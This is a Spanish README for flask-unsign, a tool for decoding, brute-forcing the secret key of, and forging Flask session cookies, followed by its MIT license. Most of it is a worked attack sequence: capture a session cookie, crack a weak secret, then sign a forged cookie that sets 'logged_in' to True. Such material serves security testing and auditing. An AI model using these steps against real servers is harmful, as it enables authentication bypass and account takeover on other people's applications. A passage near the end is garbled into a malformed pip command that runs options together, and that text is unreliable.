
Herramienta de línea de comandos para obtener, decodificar, forzar por fuerza bruta y fabricar cookies de sesión de una aplicación Flask adivinando claves secretas.
Herramienta de línea de comandos para obtener, decodificar, descifrar por fuerza bruta y manipular cookies de sesión de una aplicación Flask adivinando claves secretas. Para el componente independiente de lista de palabras, visita el repositorio flask-unsign-wordlist.
Para instalar la aplicación, simplemente usa pip:
$ pip3 install flask-unsign[wordlist]
Si solo quieres instalar el código principal, omite el sufijo [wordlist]:
$ pip3 install flask-unsign
Para instalar la herramienta con fines de desarrollo, ejecuta el siguiente comando (después de descargar una copia):
$ pip3 install -e .[test]
Para obtener una visión general de todas las opciones posibles, simplemente llama a flask-unsign sin ningún argumento, así:
$ flask-unsign
Debido a que las cookies de Flask están firmadas y no cifradas, es posible decodificar localmente los datos de la sesión. Para ello, puedes usar el argumento --decode.
Las cookies de sesión se pueden obtener inspeccionando tus solicitudes HTTP mediante un proxy como Burp Proxy, usando el inspector de red de tu navegador o una extensión del navegador para ver/cambiar tus cookies. Por defecto, Flask usa el nombre de sesión "session".
$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
{'logged_in': False}
También puedes usar la funcionalidad automática de captura de sesión de Flask-Unsign pasando el argumento --server, en lugar del argumento --cookie. Ten en cuenta, sin embargo, que no todas las páginas web pueden devolver una sesión, así que asegúrate de pasar una URL que sí lo haga.
$ flask-unsign --decode --server 'https://www.example.com/login'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8
{'logged_in': False}
Después de obtener una cookie de sesión de muestra, podrás intentar descifrar por fuerza bruta la clave secreta del servidor. Si tienes suerte, podría estar configurada con algo fácil de adivinar, o si se ha encontrado en línea, podría estar en una de tus listas de palabras. Para ello, puedes usar el argumento --unsign.
$ flask-unsign --unsign --cookie < cookie.txt
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 351 attempts
'CHANGEME'
Una vez que hayas obtenido la clave secreta del servidor, podrás crear tus propios datos de sesión personalizados. Para ello, puedes usar el argumento --sign.
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU
pip incorrecto; prueba a usar
el siguiente comando: python3.6 -m pip install flask-unsign--legacy.--no-literal-eval.Si te preguntas cómo funciona exactamente esto, consulta mi entrada de blog que lo explica con gran detalle, incluyendo una guía sobre cómo proteger tu propio servidor de este ataque.
Licencia MIT
Copyright (c) 2021 Luke Paris (Paradoxis)
Se otorga por la presente el permiso, libre de cargos, a cualquier persona que obtenga una copia de este software y de los archivos de documentación asociados (el "Software"), para utilizar el Software sin restricción, incluyendo sin limitación los derechos a usar, copiar, modificar, fusionar, publicar, distribuir, sublicenciar y/o vender copias del Software, y para permitir a las personas a quienes se les proporciona el Software hacerlo, sujeto a las siguientes condiciones:
El aviso de copyright anterior y este aviso de permiso deberán incluirse en todas las copias o partes sustanciales del Software.
EL SOFTWARE SE PROPORCIONA "TAL CUAL", SIN GARANTÍA DE NINGÚN TIPO, EXPRESA O IMPLÍCITA, INCLUYENDO PERO NO LIMITADO A LAS GARANTÍAS DE COMERCIABILIDAD, IDONEIDAD PARA UN FIN PARTICULAR Y NO INFRACCIÓN. EN NINGÚN CASO LOS AUTORES O TITULARES DE LOS DERECHOS DE AUTOR SERÁN RESPONSABLES DE CUALQUIER RECLAMO, DAÑO U OTRA RESPONSABILIDAD, YA SEA EN UNA ACCIÓN DE CONTRATO, AGRAVIO O DE OTRA MANERA, DERIVADA DE, O EN RELACIÓN CON EL SOFTWARE O EL USO U OTRAS OPERACIONES CON EL SOFTWARE.